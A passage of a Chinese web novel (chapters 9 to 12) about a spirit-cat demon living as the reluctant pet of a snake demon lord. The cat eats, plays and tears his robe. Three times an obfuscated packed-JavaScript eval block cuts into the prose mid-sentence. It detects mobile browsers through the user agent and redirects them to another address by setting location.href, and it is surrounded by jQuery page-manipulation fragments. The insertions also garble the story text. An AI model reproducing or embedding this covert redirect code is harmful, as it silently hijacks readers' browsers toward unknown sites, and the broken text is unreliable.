虞窈常常听凡人们说一句话,叫做“梦想成真”。 她其实是一只很信任凡人的猫,灵猫大妖总认为自己遇到过的凡人都十分地亲和温柔。 毕竟,愿意给一只可爱的小猫咪喂吃食的凡人,再坏又能坏到哪里去呢? 所以,凡人们经常念叨的这句话,猫也无条件地相信了。 以至于每每梦到天上莫名其妙地下起小鱼雨的时候,猫就开始盼望着自己能够梦想成真。 梦到自己渡劫成功,不仅变成了一只神仙猫,还和娘亲团聚了的时候,猫也期盼着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004148|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够梦想成真。 梦到自己在一个夏日大仇得报,不仅把晏岐那条臭蛇踩在了脚底下,还让他当上了自己的狗的时候,猫希望自己梦想成真的心情,简直就达到了巅峰。 只可惜的是,猫做的每一次梦都没能够实现。 于是,她又从凡人那里学会了另外一句话,叫做——“梦都是反的。” 这件事其实是有让猫与凡人之间产生过一丁点的信任危机的。 但是很快,猫就被凡人供奉上来的大鸡腿和香香小鱼给彻底哄好了。 人嘛,什么事情都喜欢挑着拣着往自己想要的那个方向发展。 猫理解。 但让虞窈万万没有想到的是,自己从未成真过的梦,好巧不巧,居然真的在今天成真了一次。 ——巴掌大的小白猫被粗壮硕大的蛇尾压在了底下,几乎就快要变成一只扁扁的猫饼了。 事情到底是怎么演变成这样的呢? 虞窈想,或许是她昨晚上太过疲倦,倒头就在地毯的某处睡了过去。 而晏岐的寝殿平日里不会有别的活物存在,晏岐也习惯了这一点。 夜晚休憩的时候,他的妖形会更加肆意地舒展开,昳丽粗大的蛇身会逐渐游满整座寝殿,每一处角落都会被那蛇身密不透风地占据。 而小白猫的身体实在太小太小,存在感几乎为零。 就算蛇身真的从小猫咪的身体上面碾了过去,对于晏岐而言,那感觉恐怕就和平时走在路上时不小心踩到了一只蚂蚁一样。 ——换句话说,就是没什么感觉。 虞窈无声呐喊着救命,努力地向上蹬起四只爪爪,想要把晏岐的蛇身从自己身上挪走。 当然,这一切只是徒劳而已。 不过,许是感知到了从蛇身上传来的柔软触感,正阖着双眸、卧在玄冰榻上休憩的男人蓦地睁开了双眼。 墨绿色的磅礴妖息在他身侧顷刻间汇聚,带着毫不掩饰的戾气与杀意。 但当瞥见不远处还在努力试图搬运蛇尾的小猫饼时,晏岐阴冷的表情中出现了片刻的停顿。 眼里阴鸷的杀意渐渐散去,取而代之的是饶有兴味的戏谑之意。 硕大的蛇尾慢慢地从小白猫的身体上移了开来,虞窈好不容易重获新生,从扁扁的小猫饼变成了蓬松的猫球球,得以大口呼吸新鲜空气。 忽而,那墨绿色的尾巴尖从小白猫的眼前一扫而过,很快又翘起尾尖,以尾代手,轻轻拨弄了一下小狸奴的脑袋,使得她抬头看向自己所在的方向。 猫:啧。 烦不烦啊,又想戏弄咪。 五官阴郁的男人微微抬起了上半身,姿态慵懒地侧倚在了玄冰榻上,收拢回去的蛇尾毫无章法地盘踞在他的身后。 许是才刚睡醒,细碎的发丝也显得略微有些凌乱。 晏岐正朝她微微笑着。 只是说不清这极淡又极轻的笑容里,究竟有几分真实的笑意。 晏岐修长的食指漫不经心地勾缠着乌黑的长发,眼下那颗不起眼的红痣更是点睛之笔,在烛火与微弱曦光的映衬下显得分外妖娆,为他平添了几分阴郁的气质。 披在晏岐身上的寝衣也在不经意间松松垮垮地滑落至了肩头,隐约露出一截轮廓清晰的锁骨,以及那一侧冷白胜雪的肩膀来。 如果抛开晏岐的身份不谈的话,这一幕其实可以说是充满了邪性的美感的。 而且,晏岐那无从挑剔的锁骨窝,好像正好可以用来养鱼。 至于地毯上的小白猫晃晃身后毛绒绒的雪白大尾巴,漂亮的鸳鸯瞳轻眨了眨,将这一画面全然尽收眼底。 偌大的寝殿里诡异地静默了片刻。 然后,小白猫挪动着毛绒绒的身体,毫不犹豫地转过了身去。 ——把圆滚滚的屁股对准了晏岐。 10. 第十章 果然,神金蛇就是神金蛇。 一大清早就搁这儿搔首弄姿,也不知道到底是有什么猫饼。 只有一猫一蛇存在的寝殿里,万般静谧的氛围霎时间就变得更加诡异起来。 虞窈懒得去看晏岐这会儿究竟是个什么样的表情。 她抬起粉嫩嫩的山竹爪爪,习以为常地开始为自己日常梳理。 先挨着舔完肉垫,再慢慢梳理脖子下面的毛毛。 然后把腿高高支起,将自己变成一只香香软软的白色大鸡腿,方便自己把别的地方也舔干净...... 每一根毛毛都不能够轻易放过,她是三界里最爱干净的咪。 嗯嗯嗯。 她身后的晏岐慢慢眯起了眼,无声瞧着这只视自己为空气的小猫咪。 正欲开口,两道声音冷不丁地从殿外传来:“尊上。” 是日尧和月女。 晏岐平静地转眸望了一眼殿门口的方向,随即神情自若地拢上寝衣,懒散地从玄冰榻上坐了起来。 “进。” 两道披着黑色斗篷的身影转瞬就跪在了晏岐面前,恭恭敬敬地朝晏岐行了一礼。 一旁,白色的大鸡腿不着痕迹地动了动,偷偷从屁股墩旁边露出半张猫猫脸来。 灵动的鸳鸯瞳沐在和煦的日光下,很轻地眨了眨。 是小蝴蝶咪! 再颇为嫌弃地看一眼月女旁边的日尧。 是笨蛋狗嘁! 某笨蛋狗嘁率先开口:“尊上,南境领主虎昀今早求见,已在玄清殿等候多时了。” “知道了。”晏岐倦倦地半垂下眼。 片刻后又道:“日尧,你随本尊一起去玄清殿见见那虎昀,月女,这猫就交给你了。” 日尧与月女各自领命:“是。” 晏岐和日尧前脚刚走,后脚白色大鸡腿就变成了猫猫球,踩着优雅的猫步来到月女身边,十分端庄地蹲坐在了少女面前。 “咪呜~” 小蝴蝶早上好。 “你这么快就恢复精神了呀。”宽大的斗篷之下,月女有着婴儿肥的脸颊看起来煞是可爱,同时也很具有迷惑性。 任谁都很难将长相这般甜美稚幼的少女与晏岐蛇尊身边的暗卫之一联系到一起。 “看来迟谷主那枣清丸当真是有用,不枉日尧那只笨狗昨夜变回妖形连滚带......啊不,是快马加鞭赶去了鬼草谷,为你取了药丸回来。” 枣清丸?就是昨晚上晏岐喂给她的吃枣药丸吗? 竟然是日尧为她取来的? 小白猫歪了歪头,感到意外。 月女接着说道:“不过小白,我要声明一点噢,其实我也超级超级想去迟谷主那里为你取药的。” “只是尊上让我留下来看着你,不让我走。不管怎么说,我肯定是要比那条笨狗更加喜欢你的......” 少女的语气里充满委屈。 小白?是在叫她吗? 这名字未免也忒土忒普通了点,瞬间就把灵猫大妖的格调给拉低了好不啦。 不过没关系,猫是只很大度的猫,可以对自己喜欢的小蝴蝶纵容一点。 虞窈踮起脚脚,主动用毛绒绒的小脑袋蹭了蹭月女的小腿。 猫也喜欢你。 下一秒,猫便如愿以偿地看见了月女双手捧脸,无声地尖叫起来。 一群蓝色多瑙河蝶也随之从月女的袖袍里飞出,围绕着月女和她翩翩起舞。 小白猫刚扑了一只蝴蝶玩,就被过分激动的月女拦腰抱起:“走走,小白,我带你吃饭去。听说今早也有大鸡腿吃哦。” 有了前一天的经验,知道蛇尊的那只妖宠如今转了性子,喜欢上了正常的吃食,膳房里的妖厨简直感动得痛哭流涕。 他终于可以不用再每天都面对那些血淋淋的生骨肉,麻木地剔骨砍肉,而是一身厨艺有了用武之地吗! 激动万分的妖厨一连做了十八道菜,堪称满汉全席。 看着面前一道道份量如小山、比自己的身体还要高大许多的菜肴,小白猫有些苦恼地用肉垫拨了拨玉碗。 “咪呜。” 猫吃不完这么多东西。 一旁的月女像是也看懂了小狸奴的心思,宽慰道:“没关系的小白,你能吃多少就吃多少,吃不完也没关系,千万别撑着自己。” 反正还有万兽窟的那群凶兽给猫兜底呢。 那好吧。 为了不辜负妖厨的良苦用心,也为了朝着把妖界吃垮的目标更进一步迈进,小白猫十分努力地塞下了一盘桂花糕、半只烤猪蹄、两个大鸡腿、四只香煎虾。 剩下的别的菜也或多或少全都尝了一遍。 香香~ 撑成球的小白猫懒洋洋地轻甩着毛茸茸的大尾巴,趴在石桌上休息了一小会儿。 然后就被月女用蝴蝶群引到了庭院里,追着蝴蝶玩耍消食。 妖界的天气向来阴晴不定、多变诡谲,连绵阴雨连续下上小半个月是常有的事,今天却是个难得的好天气。 明媚和煦的日光穿过参天大树枝叶间的缝隙,洋洋洒洒地落在了庭院里,如碎点金。 蹁跹飞舞的多瑙河蝶扑扇着蓝色的翅膀,亲昵地围绕在小狸奴的头顶或是脸颊边,若即若离。 还有几只蝴蝶施施然落在了小白猫的尾巴尖上,会呼吸的蓝紫色幽光在阳光的映照下,显得尤为动人美丽。 小白猫睁着双忽闪忽闪的大眼睛,两只毛绒绒的小爪子撑起上半身,东倒西歪地挥舞着山竹爪爪,说不清它这到底是在扑赶蝴蝶,还是在追逐日光的绚丽。 与虎昀商议完事情的晏岐刚一来到庭院,抬眼看到的便是这一幕。 他忽地停驻了脚步。 在还不明白发生了什么事情的日尧即将开口说话前,竖起食指抵在薄唇边,示意日尧噤声。 日尧于是老老实实地闭上了嘴,顺着晏岐的视线看向了庭院里的小白猫。 怎么了这是?是这只小狸奴半天都没有扑到一只蝴蝶,尊上嫌它太笨太丢人?还是庭院里的太阳太过毒辣,喜欢阴凉的尊上不想过去? 晏岐沉默地驻足在原地,看着小猫咪在草地上肆意翻滚,披着黑色斗篷的月女寸步不离地跟在它身边,指引着小蝴蝶飞来飞去。 和煦的日光不仅为小白猫柔软的毛发镀了一层朦胧的金辉,就连一旁的月女好似都跟着变得明亮了起来。 不知过去多久,小猫咪像是终于玩累了,逐渐停在了草地上。 蓬松的大尾巴高高翘在身后,吐露出半截粉嫩嫩的小舌头,开始像小狗一样在原地气喘吁吁。 一夜过去,晏岐还清楚记得小猫舌头那湿漉漉又柔软至极的触感。 也是奇怪。 每每面对他的时候,明明凶得跟只小老虎似的,仿佛和他有着什么血海深仇一样。 这会儿却变成了只小狗猫,憨傻至极。 晏岐莫名轻笑了声。 这细微的动静终于被月女给捕捉到,转头见是晏岐,她立时收敛了脸上的笑意,收起蝴蝶单膝跪地。 “尊上。” 小狗咪闻声也扭过脑袋看了过来,还有一两只尚未被月女完全收回去的多瑙河蝶停留在小狗咪的脸颊上,被斜射下来的日光照得光彩熠熠。 晏岐平静地看着她,朝猫勾勾手指:“过来。” 小白猫眨眨眼,相视无言几秒钟后,转身重新变回大鸡腿,开始自顾自的埋头给自己梳毛毛。 月女:“......” 日尧:“......” 狗险些又要怒而发飙,却被对面的月女一个眼神给凶了回去,不情不愿地和小蝴蝶一道隐去了身形。 晏岐慢慢眯起眼,没有在意两个消失了的暗卫,只是盯着自己的妖宠:“猫,过来。” 小白猫依然置若罔闻,两只前爪自下而上抱住自己松软的大尾巴,继续在太阳底下优哉游哉地舔毛毛。 晏岐微微一笑,语调依旧没有任何起伏:“最后一次机会。猫,过、来。” 小白猫张开爪爪,粉色的山竹肉垫跟着开了花,猫还是闷头舔舔舔。 嘿,今天的风儿甚是喧嚣,今天的猫儿也真是惬意~ 下一秒,舔毛舔得不知天地为何物的虞窈忽然从草地上浮空,径直便朝着晏岐的方向飞了过去。 小白猫先是短暂愣了一秒,意识到发生了什么事后,立马在墨绿色妖息的重重包裹里冲着晏岐龇牙咧嘴。 臭蛇!就知道对她用这些下三滥的手段!会用术法了不起啊!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004149|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚被妖息平稳送进晏岐的怀里,气不打一处来的猫便想也不想,亮出锋利的爪爪就朝晏岐的脸上挥去。 只可惜猫没能够如愿。 一只冰凉的大手将小猫咪软乎乎的肉垫半路拦截了下来,并把小猫咪的爪子不轻不重地握在了手掌心里。 晏岐垂眸看着怀里炸了毛的小狸奴,无视了小猫咪过于尖锐的爪尖,带着薄茧的指腹慢慢摩挲起小狸奴毛茸茸的小爪。 男人很轻地偏了下头,不知何时放出来的蛇尾挑起小白猫的下巴,细碎的乌发轻垂下来。 晏岐依然面不改色地微微笑着:“早这么听话的话,不就没这么多事了么?” 虞窈:我听话你个sj%fh@d# - 几次三番下来,猫已经清楚认识到了自己现在的处境。 如果想要从正面硬刚的话,她能够打过晏岐这个小瘪三的概率,毋庸置疑为零。 但是没关系,猫不泄气。 毕竟,小猫咪最不缺的就是手段和力气。 ... ... 把猫抱回寝殿后,晏岐就没有再管这只一路上都表现得异常安静、像是在偷偷憋着什么大招的小猫咪。 把小白猫放到地上后,晏岐便游动着蛇尾,来到红檀云木几案前,开始翻阅今早从各方各地送上来的奏信。 大多都关于即将现世的鬼市秘境。 鬼市是目前最难摸清楚现世规律的天级秘境,开启的时间不定,有时仅仅只间隔十几年,有时却要等上漫漫的数百数千年,足以贯穿一只小妖的一生。 就好比距离上一次的鬼市现世,便已然过去了长达七百多年的漫长光阴。 鬼市如其名,是一处以交易为主的市集秘境。 想要的任何东西,想要实现的任何愿望,都可以在鬼市里同秘境使者做交易。 至于要用何种东西来达成交易,就要以秘境使者的要求为准了。 灵石,法器,乃至于身体的一部分或是五感,亦或者只需要完成使者发布的任务,都可以作为用来与使者交易的筹码。 这便也就导致了,哪怕是实力不足的人也有可能在鬼市里得到自己想要的东西,同样也是鬼市这个天级秘境如此受三界追捧关注的最主要的原因。 各种奏信在晏岐的手边堆成了小山,男人单手支着下颌,鸦羽般的长睫微微垂着,乌黑的长发如蛇一般从肩头滑落,瞧着颇有几分妖异。 晏岐一本本翻阅着这些奏信,淡漠的神情没什么变化,只偶尔提笔,在信上落下寥寥几个字。 直到—— 他察觉到有什么东西勾住了自己的外袍。 偏眸,是小白猫正努力地伸着爪爪,锋利的爪尖挂住了他的衣袍一角还浑然不知,得寸进尺地要顺着他的衣角往几案上面爬去。 晏岐抬了下眉,像是因小白猫一反常态的主动亲近而感到稀奇。 正欲开口,忽听连着“嘶拉”几声。 晏岐眸光微动,尚且来不及阻止。 就见爬到一半的小狸奴的前爪生生勾破了他的外袍,近乎透明的爪尖上还缠绕着一圈被勾坏了的丝线。 而小狸奴自己则跟坐滑滑梯似的,“咻”的一下,就从他的身上再自然不过地滑了下去。 只听“啪叽”一声,小白猫一路畅通无阻地滚回到了地毯上,由于惯性,落地时还在原地稍微弹了两下子。 “Duangduang”的,十分Q弹。 猫毛绒绒的耳朵尖动了动,小白猫那张懵逼的猫猫脸上还停留着几分不似作假的茫然之意。 仿佛就连小猫咪自己都不曾想到,事情会朝着这个方向发展而去。 “咪呜?” 小白猫歪了下头,有些困惑地抬起爪爪,看了看此时仍勾在爪尖上的丝线,另一端还连接着晏岐的外袍。 又仰起头来,瞅了瞅这会儿面无表情的晏岐。 下一秒,那双漂亮的鸳鸯眼蓦地亮起。 小白猫像是突然觉醒了什么本能似的,尾巴兴奋地猛然一翘,勾住缠绕在爪尖上的丝线就开始满屋子地来回疯跑。 寝殿里顿时奏响了欢快的交响乐章。 “嘶啦——” “嘶啦——” “嘶啦嘶啦嘶——” 11. 第十一章 晏岐:“......” 等到他用术法擒住了这只又像是得了失心疯的小猫咪,外袍一角已经被小白猫的爪子勾得破破烂烂、惨不忍睹了。 而地毯上到处可见被扯坏了的丝线,就连小白猫圆滚滚的身体也因为她自己这毫无章法的跑法,被这些丝线缠绕上了好几圈。 被困在丝线里的小猫咪尝试着扒拉了几下,没能把自己从丝线怪的包围圈里救出来,索性放弃。 晏岐则拎着小白猫软乎乎的后颈皮,把她提溜到了自己跟前。 “故意的?” 面对晏岐的质询,小狸奴破天荒地主动回应了他一次。 猫极其无辜地眨了眨眼,奶呼呼地“喵”了一声,又在丝线怪的围堵中假模假样地挣扎了几下。 那委屈巴巴的模样像是在说:怎么会是故意的呢?你不可以误会咪。咪是被吓坏了才不小心到处乱蹿的,咪自己都被丝线给缠住了呢。你看,咪身上的这些线就是证据! 晏岐只是轻呵一声,不像是相信了小狸奴。 他语调轻缓地说道:“猫,你把本尊的衣裳给抓坏了,得赔。” 猫又是歪一歪头:“咪呜。” 亲亲,真是不好意思,猫这边两袖清风,身无分文,穷得叮当响,猫把自己卖了也赔不起哦,有本事就把猫给嘎了吧。 虞窈头一歪,眼一闭,腿腿一蹬,吐露出小半截舌头来。 装死jpg. 晏岐不甚在意地半垂下眼,蛇尾从身后绕过来,幽绿尾尖轻抚着小猫咪温热的脸颊。 猫仍然一动不动,装死得很彻底。 那冰凉的温度倒是激得小白猫不受控制地轻微炸了毛,宛若一只小小的蒲公英。 晏岐温声:“没关系,本尊看你这身皮很是不错。” “不然,就把你的皮毛给扒下来,叫妖仆做成花纹样式,正好能够添补这衣角的损坏之处,你看如何?” 晏大夫的医术果然高明,小白猫顿时就起死回生,颇有些惊恐地瞪大双眼看向晏岐。 不如何!非常不如何! 不就“不小心”扯坏了你一件衣裳么,堂堂妖界尊主怎么可以这么斤斤计较,动不动就要扒猫的皮? 小气,真真小气,你又不是晏扒皮! 晏岐眉梢微挑,没有理会炸毛的小猫咪,只是伸出玉白的长指,扯着小猫咪尚未收回去的粉嫩小舌往外轻拽了拽。 如愿以偿地看见小猫咪又开始龇牙咧嘴、拳打脚踢后,才颇为满意地把小猫咪重新放回到了地上,褪去身上不成样子的外袍。 “来人。” 猫闻言一惊。 做、做什么?真要叫人来扒猫的皮啊?你这蛇咋恁较真,开不起一点玩笑呢你? 猫实在不愿意面对自己接下来的命运,猫猫祟祟地就躲进了寝殿一角,猫猫脸努力拱进柔软的地毯里,拿屁股对着外面。 看不见猫看不见猫看不见猫。 与此同时,寝殿里也响起了一阵窸窸窣窣的脚步声。 只是不多时,那声音又渐行渐远,直至消失不见。 把猫猫脸蒙进地毯里的虞窈又等了好一会儿,没有等到别的动静。 咦,不是要扒猫的皮吗,怎么还没有来捉猫? 猫慢吞吞地扭过脑袋,圆溜溜的大眼睛试探着看向身后。 只见偌大昏暗的寝殿里,除了晏岐以外,空无一妖。 而晏岐此时已经换上了一身全新的外袍,重新坐在了几案前,继续翻看着那些没有读完的奏信。 什么意思,猫安全了? 很快意识到自己是被吓唬了的猫松了口气,试着又扒拉了几下身上的丝线。 然后——肉眼可见地被那些丝线缠绕得更紧了,并且走两步路就会被这些麻烦的丝线给绊上一脚。 一句剪不断、理还乱,或许能够完美形容猫此时此刻的心情。 保(bi)持(qing)优(lian)雅(zhong)地来到晏岐脚边,虞窈伸出肉垫,理直气壮地扒拉了一下晏岐的衣袍。 “喵。” 你衣裳的线把猫给缠住了,你应该给猫解开。 晏岐的这件新外袍是浅淡的青绿色,腰间还系有一条青竹腰带,使得此时的晏岐乍一看,简直像极了位气质谦和的儒雅书生。 ——如果那条粗大骇人的暗色蛇尾没有从他的衣袍下面探出,轻描淡写地就把脚边的小白猫拨弄到了一旁去的话。 虞窈本就被这些丝线缠绕得不成样子,被晏岐这么一拨,更是不受控制地朝着一旁直愣愣地倒去。 小猫咪在柔软的地毯上面骨碌碌地打了个滚,这会儿是真的从猫猫球变成毛毛球了。 她不死心地喵呜一声,磕磕绊绊地重新来到晏岐脚边。 “喵!” 给!猫!解!开! 又被蛇尾毫不留情地拨弄开。 “喵喵喵!” 喂,你尔多隆吗! 这一次,晏岐终于低眸看了过来。 脚边的小白猫简直像是去盘丝洞里走了一遭,身上到处都缠着细到几乎透明的丝线。 晏岐淡声:“知错了吗?” 小白猫左脚踩踩右脚,被困在丝线里的大眼睛无辜地眨了又眨:“喵。” 知道了(才怪)。 再也不敢了(下次还敢)。 你就给我解开嘛(解开猫就弄你)。 晏岐盯着小白猫看了许久,像是在验证小猫咪这幅示弱模样的真实性。 而后,一道墨绿色的妖息从小白猫的身体上拂过,携来一阵寒凉的气息。 小白猫忍不住打了一个小小的哆嗦,再垂下小脑袋时,缠绕在身上的丝线已然不知所踪。 重获自由的虞窈立时舒舒服服地伸了一个懒腰,同时蠢蠢欲动的小眼神又开始不经意地往晏岐的新衣裳上面瞟。 “看来是还没有被丝线缠够?”还没瞟上两眼,晏岐的哼笑声就轻描淡写地落下。 被看穿心思,虞窈晃晃尾巴,故作无事发生地走到一旁自觉卧下。 算了,猫大度,这次就先暂时放你一马。 但猫希望你记住,猫不是放马的。 寝殿安静,偶有徐徐微风从窗户边拂过,地毯也柔软,和儿时与兄弟姐妹一起枕在母亲毛茸茸的肚皮上时的感觉很像,舒适又安心。 折腾了好一番的虞窈很快就感觉到有浓浓倦意袭来。 她踏着猫步来到寝殿内唯一的窗户边,蜷起蓬松的长尾,就这样沐着从窗户缝隙照进来的日光侧着身子躺下。 时不时耳边会传来几声晏岐翻阅奏信的沙沙声,还有蛇尾无意识在地毯上游动的窸窣声响。 对于虞窈来说,这样的声音其实十分助眠。 猫慢吞吞地阖上了眼,渐渐沉入了梦乡。 再次醒来,窗外艳阳依然高照,虞窈这一觉睡的时间并不算太长。 她温吞地从枕着的肉垫上抬起小脑袋来,迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004150|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊地“喵呜”了两声,前爪被枕得有些发麻。 那张干净的猫猫脸上犹带着困意,像是还没有分清睡梦与现实,浓浓的小猫味扑面而来。 片刻后,小白猫才骨碌骨碌地甩了甩毛茸茸的小脑袋,有效驱散了倦意的同时,也甩掉了好多好多根浮毛。 细小的绒毛在阳光下飞舞,像是下起了雪花。 虞窈这回终于彻底清醒,习惯性地爪爪前探,抻了个懒腰。 打完哈欠后,小白猫抬眼望去,发现晏岐居然还在几案前翻阅那些奏信,她这一觉醒来,那些像小山一样的奏信只减少了差不多一半而已。 怎么会有这么多的东西要看? 虞窈先前本来还有一点小小的嫉妒,晏岐这条臭蛇居然能够拥有那么多使唤不完的手下和充盈的宝库,可以用来买好多好多条鱼鱼和大鸡腿还有肉包子了。 但现在看来,做受万妖尊崇的妖界尊主似乎也没有她想象中的那么舒坦嘛。 都还没有一只小猫自由,可以随时随地睡觉。 这般想着,小白猫来到晏岐身边,本又想顺着晏岐的袍角往几案上爬。 在晏岐无声的眼神警告下,又哼的一声缩回了小爪,转而端坐在地毯上面,漂亮的鸳鸯眼一眨不眨地盯着晏岐瞧。 经历被丝线怪缠身一事后,聪明的猫猫又又悟了。 与其琢磨着要怎么样才能够从臭蛇身边逃走,不如想方设法地使唤这条臭蛇,更加让猫解气。 试问,有什么事情是能够比花死对头的灵石,还能让死对头心甘情愿地给自己当牛做马来得更加有成就感的呢? 没有,根本就找不到。 一想到这,小白猫在原地跺了跺脚,理直气壮地无声催促起晏岐。 快点把猫抱上去。 地上冷,脚脚凉。 头顶上方很快落下一声男人的轻呵:“你倒是会使唤本尊。” 话虽如此,墨绿色的妖息还是包裹住了小白猫的身体,把她送到了几案上。 虞窈先是四处巡视了一番这个相对陌生的领地。 有了猫作比较,这张几案其实很宽。 除了堆得比猫还要高大许多的奏信、笔砚以外,还有几摞厚厚的书籍堆在一起,很像是什么秘术与功法。 小白猫顿时震怒。 难怪晏岐能够比她先一步渡劫成功、迈入炼虚期的境界,每次找他打架的时候,使的招数还都那么阴! 原来是背着猫读了这么多她连名字都没有听说过的秘术功法,在偷偷卷猫。 不行,猫也要学! 说干就干。 小白猫踮起脚脚,毛茸茸的肉垫搭着书山的边缘,努力撑起了上半身,然后就用湿漉漉的粉鼻尖把摆在最上面的书籍给拱了下来。 “啪嗒”一声。 那本书籍正好掉落在了虞窈面前,刚刚好摊开了第一页。 好耶,连翻页都不用了,真是天助猫也! 小小的白猫脑袋于是迫不及待地凑到了那本功法跟前,眯起眼睛,一个字一个字挨着读了起来。 天、也(地)、玄......嘶,跳过。 于(宇)、由(宙)、共(洪)......嘶嘶,这里也跳过。 日、月......嘶嘶嘶,跳过跳过跳过,统统都给猫跳过。 然后猫就绝望地发现了一个非常严肃的问题。 坏。 猫好像有点不识字,是只丈育猫QAQ。 12. 第十二章 猫不怎么识字这件事,其实怪不得猫。 虞窈以前一直居无定所,四海为家,直到偶然间发现了巫云峰这块风水宝地,才算是真正定居了下来,成为了庇护巫云峰以及附近村镇的灵猫大妖。 身为一只灵猫,天地的宠儿,对于虞窈来说,吸收日月精华用以提升修为这件事,其实就和呼吸一样简单。 也正因此,虞窈从来不需要为了修炼而发愁。 每天除了在最好的时辰吸收一会儿日月精华以外,就优哉游哉地跑去晒太阳、抓小鱼、睡大觉了。 周边的村镇上倒是设有好几间私塾,虞窈偶尔闲得没事干的时候,也会变成正常猫咪的模样,偷偷跳上私塾的窗户,盘尾蹲坐在窗边,和里面的孩童一起听先生授课。 私塾的孩童们年纪尚幼,学的内容也相对简单,猫聪明又自信,就算没有任何学习基础,想必也能够轻松跟上。 私塾里的弟子们听先生授学:“个、十、百、千......” 私塾外头的猫弟子便也跟着摇头晃脑:“个、十、百......” 下一秒,猫四脚朝天,呼呼睡了过去。 一觉醒来,天都黑了,不知名的夏虫咿咿呀呀地叫着,私塾里空无一人。 猫跳下窗户,决定今天就先学到这里,第二天再来继续听课好了。 翌日,先生先给弟子们温书:“个、十、百、千......” 猫弟子也一个字一个字地点着下巴:“个、十、百......” 猫又倒头睡了过去,睡得很香。 醒来后发现,自己还在睡梦中把脚脚蒙在了眼睛前面,挡住了过于毒辣的日光。 长此以往,先生都教到《周易》、《礼记》、《左传》了。 猫还在窗户边:“个、十、百......呼噜噜,呼噜噜。” 没办法,白天对于猫来说,实在是太太太好睡了。 而且先生时不时就在那里“之乎者也”来、“之乎者也”去。 与其说是在授课,不如说更像是在给猫免费助眠。 可恶,要是私塾的上课时间是在晚上就好了,猫在晚上最有精神! 只可惜的是,放眼整个三界,没有一家私塾会在晚上授课。 所以,都怪私塾,不能怪猫。 而此时此刻,盯着书籍上那些密密麻麻挤在一起的小字,虞窈很是费力地往下读了几行,然后忍不住开始心想。 唉,怎么还没到晚上,猫又想吃大鸡腿了,鸡腿香香。 还有那盘八宝圆子也很不错,是猫以前没有吃过的味道,也不知道妖厨今晚会不会准备,真期待呀。 正这么神游着,一只玉白的大手忽地伸到了小白猫跟前,轻飘飘地抽走了那本书籍。 晏岐的语调一如既往地平静轻缓:“看得明白么?看不明白就安分一些,别给本尊添乱。” 谁看不明白了!凭什么看不起猫! 虞窈正要震怒地拍拍爪垫,突然间意识到—— 坏,这次好像真被晏岐这条臭蛇给说中了,猫真的看不太懂。 凡人口中的天书是不是就是这样? 小白猫底气不足地跺了跺脚,扁扁地走开了。 不过,猫好不容易才上来几案一趟,要猫就这么一事无成地灰溜溜离开,那也是绝对不可能的。 小猫咪角度刁钻地在如山的书堆与奏信之间灵活地穿梭着,圆溜溜的大眼睛东瞅瞅西看看,很快就盯上了搁置在几案边上的笔架。 有着鸡翅木纹理的笔架上悬挂着好几支材质不一的毛笔。 巴掌大的小狸奴忍不住用脸颊蹭了蹭毛笔的笔锋,觉得心痒痒,又忍不住张开猫猫嘴,用小小的乳牙去啃咬笔管。 很好,猫有新磨牙棒了。 小白猫在这边磨牙磨得正起劲,命运的后脖颈忽然被人拎住。 下一秒,就被迫来了个一百八十度大转弯,提溜到了晏岐跟前。 那双墨绿色的竖瞳深邃又森冷,给人的感觉十分危险,却又很难不叫人深陷其中。 男人言简意赅:“再捣乱,就下去。” 嘁,又在吓唬猫。 尽管如此,猫还是把蓬松的大尾巴盘在身前,稍微安分了一小会儿,很快就又觉着困了。 她打了个哈欠,为了防止自己又再睡着,错过暮食的时辰,便咕噜噜地甩甩脑袋,随即走到晏岐手边,装模作样地和他一道看起了那些奏信。 信上都写了些什么内容,十个字有八个猫都是看不懂的。 但—— 嗯嗯,这只妖的字看起来写得很不错,应该是只文化妖,猫要向他学习,是猫的榜样。 哎呀呀,这个写得就不太行了,字一个比一个东倒西歪,简直就是在鬼画符嘛。 咦,这个好像还能勉强将就一下,给个及格分,过。 一开始的时候还好,晏岐懒得管这只不知在摇头晃脑些什么的小白猫。 直到小狸奴的脑袋越凑越近,把他的视线也给遮挡住了。 他才顺势一抬手,宽大的手掌完完全全罩住了小猫咪的猫猫脸,就这样把她拨到了边上。 “真闲得没事做的话,就叫月女来带你出去玩。” 那不行,猫今天已经和小蝴蝶玩过了。 为了猫和小蝴蝶之间的友谊能够长期性可持续发展,猫不可以时时刻刻都找小蝴蝶玩的。 再说了,她怎么就闲得没事做了? 灵猫大王正在认认真真地给这些妖的字打分,可忙可 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猫十分满意地晃晃尾巴,觉得自己的翻译没有任何问题。 毕竟,玉就是很宝贵很值钱的东西呀。 